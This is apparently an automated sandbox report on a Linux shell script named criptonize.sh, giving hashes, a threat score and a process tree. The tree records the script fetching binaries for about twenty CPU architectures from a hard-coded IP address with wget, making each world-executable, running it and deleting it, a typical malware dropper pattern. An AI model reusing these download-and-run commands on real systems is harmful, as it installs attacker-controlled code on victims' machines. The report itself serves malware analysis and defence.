Resubmissions

27-08-2024 23:50

240827-3vw9rsxdrg 8

27-08-2024 23:49

240827-3t1wkaxdpd 8

27-08-2024 23:47

240827-3svyxsxdlf 8

27-08-2024 23:45

240827-3rvlrsxdjc 3

Analysis

  • max time kernel
    31s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27-08-2024 23:45

General

  • Target

    criptonize.sh

  • Size

    9KB

  • MD5

    fe5b1cae588f9ad418e162262b65b865

  • SHA1

    c0ab765270f811bcdbb0ad9f4ed2871edcf58caf

  • SHA256

    5231c1a078c018a6abea6fadde67300a961c9b528743464806246a3be619b405

  • SHA512

    b9c079cbb03cc31ba0163dbfe3d9a8fda594010717f48d29880496e31b3852fb90423e6291b1697e09c52d72f6bd1f4405021aa63d652a0c96853fff25055774

  • SSDEEP

    96:rK7IcSgf29gv+1XVYmm6Wdw9Iu8f/s2CIjTgSWuI:cERlnySeZy

Score
3/10

Malware Config

Signatures

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/criptonize.sh
    /tmp/criptonize.sh
    1⤵
      PID:1478
      • /bin/rm
        rm -f criptonize.x86_64
        2⤵
          PID:1479
        • /usr/bin/wget
          wget -O criptonize.x86_64 http://212.60.5.174/criptonize.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1480
        • /bin/chmod
          chmod 777 criptonize.x86_64
          2⤵
            PID:1493
          • /tmp/criptonize.x86_64
            ./criptonize.x86_64 x86_64
            2⤵
              PID:1494
            • /bin/rm
              rm -f criptonize.x86_64
              2⤵
                PID:1495
              • /bin/rm
                rm -f criptonize.i686
                2⤵
                  PID:1496
                • /usr/bin/wget
                  wget -O criptonize.i686 http://212.60.5.174/criptonize.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:1497
                • /bin/chmod
                  chmod 777 criptonize.i686
                  2⤵
                    PID:1498
                  • /tmp/criptonize.i686
                    ./criptonize.i686 i686
                    2⤵
                      PID:1499
                    • /bin/rm
                      rm -f criptonize.i686
                      2⤵
                        PID:1500
                      • /bin/rm
                        rm -f criptonize.i586
                        2⤵
                          PID:1501
                        • /usr/bin/wget
                          wget -O criptonize.i586 http://212.60.5.174/criptonize.i586
                          2⤵
                          • Writes file to tmp directory
                          PID:1502
                        • /bin/chmod
                          chmod 777 criptonize.i586
                          2⤵
                            PID:1503
                          • /tmp/criptonize.i586
                            ./criptonize.i586 i586
                            2⤵
                              PID:1504
                            • /bin/rm
                              rm -f criptonize.i586
                              2⤵
                                PID:1505
                              • /bin/rm
                                rm -f criptonize.i486
                                2⤵
                                  PID:1506
                                • /usr/bin/wget
                                  wget -O criptonize.i486 http://212.60.5.174/criptonize.i486
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1507
                                • /bin/chmod
                                  chmod 777 criptonize.i486
                                  2⤵
                                    PID:1508
                                  • /tmp/criptonize.i486
                                    ./criptonize.i486 i486
                                    2⤵
                                      PID:1509
                                    • /bin/rm
                                      rm -f criptonize.i486
                                      2⤵
                                        PID:1510
                                      • /bin/rm
                                        rm -f criptonize.aarch64
                                        2⤵
                                          PID:1511
                                        • /usr/bin/wget
                                          wget -O criptonize.aarch64 http://212.60.5.174/criptonize.aarch64
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1512
                                        • /bin/chmod
                                          chmod 777 criptonize.aarch64
                                          2⤵
                                            PID:1513
                                          • /tmp/criptonize.aarch64
                                            ./criptonize.aarch64 aarch64
                                            2⤵
                                              PID:1514
                                            • /bin/rm
                                              rm -f criptonize.aarch64
                                              2⤵
                                                PID:1516
                                              • /bin/rm
                                                rm -f criptonize.armv7l
                                                2⤵
                                                  PID:1517
                                                • /usr/bin/wget
                                                  wget -O criptonize.armv7l http://212.60.5.174/criptonize.armv7l
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1518
                                                • /bin/chmod
                                                  chmod 777 criptonize.armv7l
                                                  2⤵
                                                    PID:1519
                                                  • /tmp/criptonize.armv7l
                                                    ./criptonize.armv7l armv7l
                                                    2⤵
                                                      PID:1520
                                                    • /bin/rm
                                                      rm -f criptonize.armv7l
                                                      2⤵
                                                        PID:1522
                                                      • /bin/rm
                                                        rm -f criptonize.armv6l
                                                        2⤵
                                                          PID:1523
                                                        • /usr/bin/wget
                                                          wget -O criptonize.armv6l http://212.60.5.174/criptonize.armv6l
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:1524
                                                        • /bin/chmod
                                                          chmod 777 criptonize.armv6l
                                                          2⤵
                                                            PID:1525
                                                          • /tmp/criptonize.armv6l
                                                            ./criptonize.armv6l armv6l
                                                            2⤵
                                                              PID:1526
                                                            • /bin/rm
                                                              rm -f criptonize.armv6l
                                                              2⤵
                                                                PID:1528
                                                              • /bin/rm
                                                                rm -f criptonize.armv5l
                                                                2⤵
                                                                  PID:1529
                                                                • /usr/bin/wget
                                                                  wget -O criptonize.armv5l http://212.60.5.174/criptonize.armv5l
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:1530
                                                                • /bin/chmod
                                                                  chmod 777 criptonize.armv5l
                                                                  2⤵
                                                                    PID:1531
                                                                  • /tmp/criptonize.armv5l
                                                                    ./criptonize.armv5l armv5l
                                                                    2⤵
                                                                      PID:1532
                                                                    • /bin/rm
                                                                      rm -f criptonize.armv5l
                                                                      2⤵
                                                                        PID:1534
                                                                      • /bin/rm
                                                                        rm -f criptonize.armv4eb
                                                                        2⤵
                                                                          PID:1535
                                                                        • /usr/bin/wget
                                                                          wget -O criptonize.armv4eb http://212.60.5.174/criptonize.armv4eb
                                                                          2⤵
                                                                          • Writes file to tmp directory
                                                                          PID:1536
                                                                        • /bin/chmod
                                                                          chmod 777 criptonize.armv4eb
                                                                          2⤵
                                                                            PID:1537
                                                                          • /tmp/criptonize.armv4eb
                                                                            ./criptonize.armv4eb armv4eb
                                                                            2⤵
                                                                              PID:1538
                                                                            • /bin/rm
                                                                              rm -f criptonize.armv4eb
                                                                              2⤵
                                                                                PID:1540
                                                                              • /bin/rm
                                                                                rm -f criptonize.armv4tl
                                                                                2⤵
                                                                                  PID:1541
                                                                                • /usr/bin/wget
                                                                                  wget -O criptonize.armv4tl http://212.60.5.174/criptonize.armv4tl
                                                                                  2⤵
                                                                                  • Writes file to tmp directory
                                                                                  PID:1542
                                                                                • /bin/chmod
                                                                                  chmod 777 criptonize.armv4tl
                                                                                  2⤵
                                                                                    PID:1543
                                                                                  • /tmp/criptonize.armv4tl
                                                                                    ./criptonize.armv4tl armv4tl
                                                                                    2⤵
                                                                                      PID:1544
                                                                                    • /bin/rm
                                                                                      rm -f criptonize.armv4tl
                                                                                      2⤵
                                                                                        PID:1546
                                                                                      • /bin/rm
                                                                                        rm -f criptonize.armv4l
                                                                                        2⤵
                                                                                          PID:1547
                                                                                        • /usr/bin/wget
                                                                                          wget -O criptonize.armv4l http://212.60.5.174/criptonize.armv4l
                                                                                          2⤵
                                                                                          • Writes file to tmp directory
                                                                                          PID:1548
                                                                                        • /bin/chmod
                                                                                          chmod 777 criptonize.armv4l
                                                                                          2⤵
                                                                                            PID:1549
                                                                                          • /tmp/criptonize.armv4l
                                                                                            ./criptonize.armv4l armv4l
                                                                                            2⤵
                                                                                              PID:1550
                                                                                            • /bin/rm
                                                                                              rm -f criptonize.armv4l
                                                                                              2⤵
                                                                                                PID:1552
                                                                                              • /bin/rm
                                                                                                rm -f criptonize.mips64
                                                                                                2⤵
                                                                                                  PID:1553
                                                                                                • /usr/bin/wget
                                                                                                  wget -O criptonize.mips64 http://212.60.5.174/criptonize.mips64
                                                                                                  2⤵
                                                                                                  • Writes file to tmp directory
                                                                                                  PID:1554
                                                                                                • /bin/chmod
                                                                                                  chmod 777 criptonize.mips64
                                                                                                  2⤵
                                                                                                    PID:1555
                                                                                                  • /tmp/criptonize.mips64
                                                                                                    ./criptonize.mips64 mips64
                                                                                                    2⤵
                                                                                                      PID:1556
                                                                                                    • /bin/rm
                                                                                                      rm -f criptonize.mips64
                                                                                                      2⤵
                                                                                                        PID:1558
                                                                                                      • /bin/rm
                                                                                                        rm -f criptonize.mips
                                                                                                        2⤵
                                                                                                          PID:1559
                                                                                                        • /usr/bin/wget
                                                                                                          wget -O criptonize.mips http://212.60.5.174/criptonize.mips
                                                                                                          2⤵
                                                                                                          • Writes file to tmp directory
                                                                                                          PID:1560
                                                                                                        • /bin/chmod
                                                                                                          chmod 777 criptonize.mips
                                                                                                          2⤵
                                                                                                            PID:1561
                                                                                                          • /tmp/criptonize.mips
                                                                                                            ./criptonize.mips mips
                                                                                                            2⤵
                                                                                                              PID:1562
                                                                                                            • /bin/rm
                                                                                                              rm -f criptonize.mips
                                                                                                              2⤵
                                                                                                                PID:1564
                                                                                                              • /bin/rm
                                                                                                                rm -f criptonize.mipsel
                                                                                                                2⤵
                                                                                                                  PID:1565
                                                                                                                • /usr/bin/wget
                                                                                                                  wget -O criptonize.mipsel http://212.60.5.174/criptonize.mipsel
                                                                                                                  2⤵
                                                                                                                  • Writes file to tmp directory
                                                                                                                  PID:1566
                                                                                                                • /bin/chmod
                                                                                                                  chmod 777 criptonize.mipsel
                                                                                                                  2⤵
                                                                                                                    PID:1567
                                                                                                                  • /tmp/criptonize.mipsel
                                                                                                                    ./criptonize.mipsel mipsel
                                                                                                                    2⤵
                                                                                                                      PID:1568
                                                                                                                    • /bin/rm
                                                                                                                      rm -f criptonize.mipsel
                                                                                                                      2⤵
                                                                                                                        PID:1570
                                                                                                                      • /bin/rm
                                                                                                                        rm -f criptonize.powerpc
                                                                                                                        2⤵
                                                                                                                          PID:1571
                                                                                                                        • /usr/bin/wget
                                                                                                                          wget -O criptonize.powerpc http://212.60.5.174/criptonize.powerpc
                                                                                                                          2⤵
                                                                                                                          • Writes file to tmp directory
                                                                                                                          PID:1572
                                                                                                                        • /bin/chmod
                                                                                                                          chmod 777 criptonize.powerpc
                                                                                                                          2⤵
                                                                                                                            PID:1573
                                                                                                                          • /tmp/criptonize.powerpc
                                                                                                                            ./criptonize.powerpc powerpc
                                                                                                                            2⤵
                                                                                                                              PID:1574
                                                                                                                            • /bin/rm
                                                                                                                              rm -f criptonize.powerpc
                                                                                                                              2⤵
                                                                                                                                PID:1576
                                                                                                                              • /bin/rm
                                                                                                                                rm -f criptonize.m68k
                                                                                                                                2⤵
                                                                                                                                  PID:1577
                                                                                                                                • /usr/bin/wget
                                                                                                                                  wget -O criptonize.m68k http://212.60.5.174/criptonize.m68k
                                                                                                                                  2⤵
                                                                                                                                  • Writes file to tmp directory
                                                                                                                                  PID:1578
                                                                                                                                • /bin/chmod
                                                                                                                                  chmod 777 criptonize.m68k
                                                                                                                                  2⤵
                                                                                                                                    PID:1579
                                                                                                                                  • /tmp/criptonize.m68k
                                                                                                                                    ./criptonize.m68k m68k
                                                                                                                                    2⤵
                                                                                                                                      PID:1580
                                                                                                                                    • /bin/rm
                                                                                                                                      rm -f criptonize.m68k
                                                                                                                                      2⤵
                                                                                                                                        PID:1582
                                                                                                                                      • /bin/rm
                                                                                                                                        rm -f criptonize.sh4
                                                                                                                                        2⤵
                                                                                                                                          PID:1583
                                                                                                                                        • /usr/bin/wget
                                                                                                                                          wget -O criptonize.sh4 http://212.60.5.174/criptonize.sh4
                                                                                                                                          2⤵
                                                                                                                                          • Writes file to tmp directory
                                                                                                                                          PID:1584
                                                                                                                                        • /bin/chmod
                                                                                                                                          chmod 777 criptonize.sh4
                                                                                                                                          2⤵
                                                                                                                                            PID:1585
                                                                                                                                          • /tmp/criptonize.sh4
                                                                                                                                            ./criptonize.sh4 sh4
                                                                                                                                            2⤵
                                                                                                                                              PID:1586
                                                                                                                                            • /bin/rm
                                                                                                                                              rm -f criptonize.sh4
                                                                                                                                              2⤵
                                                                                                                                                PID:1588
                                                                                                                                              • /bin/rm
                                                                                                                                                rm -f criptonize.sparc
                                                                                                                                                2⤵
                                                                                                                                                  PID:1589
                                                                                                                                                • /usr/bin/wget
                                                                                                                                                  wget -O criptonize.sparc http://212.60.5.174/criptonize.sparc
                                                                                                                                                  2⤵
                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                  PID:1590
                                                                                                                                                • /bin/chmod
                                                                                                                                                  chmod 777 criptonize.sparc
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1591
                                                                                                                                                  • /tmp/criptonize.sparc
                                                                                                                                                    ./criptonize.sparc sparc
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1592
                                                                                                                                                    • /bin/rm
                                                                                                                                                      rm -f criptonize.sparc
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1594
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -f criptonize.arc700
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1595
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget -O criptonize.arc700 http://212.60.5.174/criptonize.arc700
                                                                                                                                                          2⤵
                                                                                                                                                          • Writes file to tmp directory
                                                                                                                                                          PID:1596
                                                                                                                                                        • /bin/chmod
                                                                                                                                                          chmod 777 criptonize.arc700
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1597
                                                                                                                                                          • /tmp/criptonize.arc700
                                                                                                                                                            ./criptonize.arc700 arc700
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1598
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm -f criptonize.arc700
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1600
                                                                                                                                                              • /bin/rm
                                                                                                                                                                rm -f criptonize.bsdamd64
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1601
                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                  wget -O criptonize.bsdamd64 http://212.60.5.174/criptonize.bsdamd64
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Writes file to tmp directory
                                                                                                                                                                  PID:1602
                                                                                                                                                                • /bin/chmod
                                                                                                                                                                  chmod 777 criptonize.bsdamd64
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1605
                                                                                                                                                                  • /tmp/criptonize.bsdamd64
                                                                                                                                                                    ./criptonize.bsdamd64 bsdamd64
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1606
                                                                                                                                                                    • /bin/rm
                                                                                                                                                                      rm -f criptonize.bsdamd64
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1608

                                                                                                                                                                    Network

                                                                                                                                                                    MITRE ATT&CK Matrix

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads